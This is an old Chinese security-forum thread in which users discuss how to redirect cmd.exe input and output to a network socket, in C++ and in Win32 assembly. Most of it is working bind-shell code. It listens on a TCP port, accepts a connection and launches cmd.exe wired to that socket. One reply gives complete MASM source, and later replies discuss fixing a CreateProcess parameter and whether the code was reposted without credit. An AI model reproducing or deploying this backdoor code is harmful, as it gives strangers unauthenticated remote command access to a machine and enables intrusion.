首页
社区
课程
招聘
[讨论]win32汇编如何实现cmd的输出转向
发表于: 2007-1-6 13:59 5075

[讨论]win32汇编如何实现cmd的输出转向

2007-1-6 13:59
5075
VC++是这样来着:

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
   ret=listen(listenFD,2);
   //如果客户请求830端口,接受连接
   int iAddrSize = sizeof(server);
   SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

   STARTUPINFO si;
   ZeroMemory(&si,sizeof(si));
   si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.wShowWindow = SW_SHOWNORMAL;
   
   si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
   char cmdLine[] = "cmd.exe";
   PROCESS_INFORMATION ProcessInformation;
   //建立进程   
   ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
   
   return 0;
}

这个代码实现了cmd的输出转向,但是用汇编我不知道怎么搞,一般我是用CreateProcess直接执行命令行了.....
.
.
.
.

    invoke    WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
       invoke    RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
       mov    @stAddr.sin_family,AF_INET ;设置IP格式
       invoke    htons,TCP_PORT ;设置端口
       mov    @stAddr.sin_port,ax ;保存
       mov    @stAddr.sin_addr,INADDR_ANY ;设置IP地址
       invoke    socket,AF_INET,SOCK_STREAM,0 ;加载套接字
       .if    eax != INVALID_SOCKET
       mov    hScoket,eax ;保存句柄
       .endif
       invoke    bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
       .if    eax != SOCKET_ERROR
       invoke    listen,hScoket,5 ;开始监听,默认连接5个
       .endif
       invoke    accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.
.
invoke    recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.
.
invoke    GetStartupInfo,addr stStartUp
       invoke    CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\ ;是的话就处理
           CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo

这样挺麻烦的,如果能直接实现cmd输出转向,那就非常的好了 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有点意思, 关注一下
2007-1-6 21:55
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
3
谁来回答一下,我OD都看眼花了,源代码:

.386P
.model   flat,stdcall
option   casemap:none
include     windows.inc
include     user32.inc
include     kernel32.inc
include     wsock32.inc
include      Ws2_32.inc
includelib   user32.lib
includelib   kernel32.lib
includelib   wsock32.lib
includelib   Ws2_32.lib
TCP_PORT equ 1024 ;常量定义
.data
szCommand db 'cmd.exe',0
  .data?
hScoket     SOCKET   ?
hScoketOther     SOCKET   ?
szBuffer   db   MAX_PATH dup(?)
dwSize DWORD ?
  .code
_ProcessMain   proc
local   @wsaData:WSADATA
local   @hScoket:SOCKET
local   @stAddr:sockaddr_in
local   stStartUp:STARTUPINFO
local   stProcInfo:PROCESS_INFORMATION
invoke   WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
mov   @stAddr.sin_family,AF_INET ;设置IP格式
invoke   htons,TCP_PORT ;设置端口
mov   @stAddr.sin_port,ax ;保存
mov   @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke   WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字
mov   hScoket,eax ;保存句柄
invoke   bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if   eax == SOCKET_ERROR
mov eax,FALSE
ret
.endif
invoke   listen,hScoket,5 ;开始监听,默认连接5个
invoke   accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.if   eax == INVALID_SOCKET
mov eax,FALSE
ret
.endif
mov hScoketOther,eax
invoke   GetStartupInfo,addr stStartUp
mov   ebx,hScoketOther
mov   stStartUp.hStdInput,ebx ;为STARTUPINFO的结构成员赋值,这个值是accept()返回的句柄
mov   stStartUp.hStdOutput,ebx
mov   stStartUp.hStdError,ebx
mov   stStartUp.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
mov        stStartUp.wShowWindow,SW_HIDE
mov   stStartUp.wShowWindow,SW_SHOWNORMAL
invoke   CreateProcess,NULL,addr szCommand,NULL,NULL,\
  NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ;将结果载入并执行cmd
ret
_ProcessMain   endp
start:
invoke   _ProcessMain
invoke   ExitProcess,NULL
end   start
2007-1-7 20:21
0
雪    币: 101
活跃值: (12)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
4
clientFD 这个句并应该需要SetHandleInformation成HANDLE_FLAG_INHERIT的去吧???
2007-1-11 16:55
0
雪    币: 642
活跃值: (2882)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
最初由 Winker 发布
谁来回答一下,我OD都看眼花了,源代码:

.386P
.model flat,stdcall
option casemap:none
........

为什么转载总是要把人家的信息去掉?
2007-1-12 14:34
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这个红狼的ASM大哥公布的代码为何把头信息给人家删了
2007-1-12 17:42
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
7


我就是红狼的asm,经常混邪恶八进制,winker是我在看雪的马甲

这个问题已经解决了:

http://forum.eviloctal.com/read-htm-tid-26719.html

原来只是CreateProcess的一个参数问题
2007-1-13 16:55
0
游客
登录 | 注册 方可回帖
返回
//